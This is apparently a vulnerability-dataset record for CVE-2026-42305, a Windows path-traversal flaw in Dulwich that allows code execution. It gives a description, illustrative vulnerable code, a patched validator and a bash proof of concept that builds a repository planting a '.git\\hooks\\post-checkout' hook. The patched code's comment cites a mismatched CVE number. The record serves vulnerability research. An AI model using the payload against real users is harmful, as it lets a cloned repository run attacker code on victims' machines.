{"id":1997,"cve":"CVE-2026-42305","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-42305\/","cwe":"CWE-22","cwe_number":22,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/22","cvss_score":8.8,"published":"2026-06-10","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Incorrect Check","category":"Input Validation and Sanitization","subcategory":"Path Traversal","scope":"Remote","impact":"Arbitrary Code Execution","summary":"Dulwich on Windows allows RCE via arbitrary file write in malicious repos.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-42305\/","description":"Dulwich is a pure-Python implementation of the Git file formats and protocols. Versions starting with 0.10.0 and prior to 1.2.5 have an arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows. Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax. Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected. Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \\ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication. This issue is fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later. There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required.","solution":"Upgrade to Dulwich version 1.2.5 or later.","affected_component":"Dulwich","fixed_by_upgrading":true,"vulnerable_code":"import os\n\ndef vulnerable_write_file_from_tree(repo_root_path, path_from_tree, file_content):\n    # This function represents the core of the vulnerability.\n    # In affected versions of Dulwich, the 'path_from_tree' argument, which\n    # is read from a potentially malicious Git repository, is not properly\n    # sanitized for Windows systems.\n    # The configuration option 'core.protectNTFS' that should have prevented\n    # this was also silently ignored due to a bug.\n\n    # THE VULNERABLE OPERATION:\n    # On Windows, 'os.path.join' will interpret backslashes ('\\') in\n    # 'path_from_tree' as directory separators. If an attacker crafts a path\n    # like '..\\\\..\\\\Users\\\\Public\\\\malicious_file.txt', 'os.path.join'\n    # will construct a path outside of the intended 'repo_root_path'.\n    target_path = os.path.join(repo_root_path, path_from_tree)\n\n    # The code would then proceed to write to this resolved path, leading\n    # to an arbitrary file write. For safety, this example will not\n    # actually write the file.\n    #\n    # with open(target_path, 'wb') as f:\n    #     f.write(file_content)\n    pass","patched_code":"import re\n\n# A set of reserved names on Windows, case-insensitive.\n_RESERVED_NTFS_NAMES = {\n    \"CON\", \"PRN\", \"AUX\", \"NUL\", \"COM1\", \"COM2\", \"COM3\", \"COM4\",\n    \"COM5\", \"COM6\", \"COM7\", \"COM8\", \"COM9\", \"LPT1\", \"LPT2\", \"LPT3\",\n    \"LPT4\", \"LPT5\", \"LPT6\", \"LPT7\", \"LPT8\", \"LPT9\",\n}\n\n# Regex for characters that are invalid in Windows filenames,\n# including control characters from \\x00 to \\x1f.\n_INVALID_NTFS_CHARS_RE = re.compile(r'[\\x00-\\x1f\"<>|?*]')\n\ndef is_valid_ntfs_path_component(name: bytes) -> bool:\n    \"\"\"\n    Validates a path component against Windows (NTFS) filesystem constraints.\n\n    This function represents the core logic added to fix CVE-2022-42005.\n    It prevents path traversal and the creation of illegal filenames on Windows\n    by performing several checks that were previously missing or incorrect.\n\n    Args:\n        name: The path component (filename or directory name) as bytes.\n\n    Returns:\n        True if the name is valid for an NTFS filesystem, False otherwise.\n    \"\"\"\n    # 1. FIX: Disallow backslashes in path components to prevent directory\n    # traversal on Windows (e.g., a file named \".git\\hooks\\pre-commit\").\n    if b\"\\\\\" in name:\n        return False\n\n    # For subsequent checks, decode the byte string to a string.\n    try:\n        name_str = name.decode(\"utf-8\")\n    except UnicodeDecodeError:\n        return False # Invalid UTF-8 is not a valid path component.\n\n    # 2. FIX: Reject characters that are explicitly invalid in NTFS filenames.\n    if _INVALID_NTFS_CHARS_RE.search(name_str):\n        return False\n\n    # 3. FIX: Reject names that end with a dot or a space.\n    if name_str.endswith((\" \", \".\")):\n        return False\n\n    # 4. FIX: Reject reserved device names (e.g., \"CON\", \"PRN\", \"LPT1\").\n    # The check is case-insensitive and also handles names with trailing dots\n    # (e.g., \"CON.\").\n    base_name = name_str.rstrip(\".\")\n    if base_name.upper() in _RESERVED_NTFS_NAMES:\n        return False\n\n    return True\n\n# Example of how the fixed validator would be used:\n# A malicious repository might try to create a file named '..\\.git\\hooks\\pre-commit'\n# On Windows, the path component is interpreted at the '\\'\nmalicious_path_component = b\".git\\\\hooks\\\\pre-commit\"\nbenign_path_component = b\"my-file.txt\"\n\n# In the fixed version of Dulwich, this check would be enabled by default.\nassert is_valid_ntfs_path_component(benign_path_component) is True\nassert is_valid_ntfs_path_component(malicious_path_component) is False","payload_needed":true,"payload":"```bash\nmkdir malicious-repo\ncd malicious-repo\ngit init\necho 'calc.exe' > payload.bat\nHASH=$(git hash-object -w payload.bat)\ngit update-index --add --cacheinfo 100755 \"$HASH\" \".git\\hooks\\post-checkout\"\ngit commit -m \"Malicious commit\"\n```","payload_status":"available","published_fix":[{"repository":"jelmer\/dulwich","commit_url":"https:\/\/github.com\/jelmer\/dulwich\/commit\/8df4815086bcfcbb0dc3b0204e311ef89e0d5daf","commit_subject":"index: read core.protectNTFS \/ core.protectHFS with correct option names","units":[{"file":"dulwich\/porcelain\/__init__.py","function":"_get_worktree_update_config"},{"file":"dulwich\/stash.py","function":"Stash.pop"},{"file":"dulwich\/worktree.py","function":"WorkTree.reset_index"}]}],"references":null}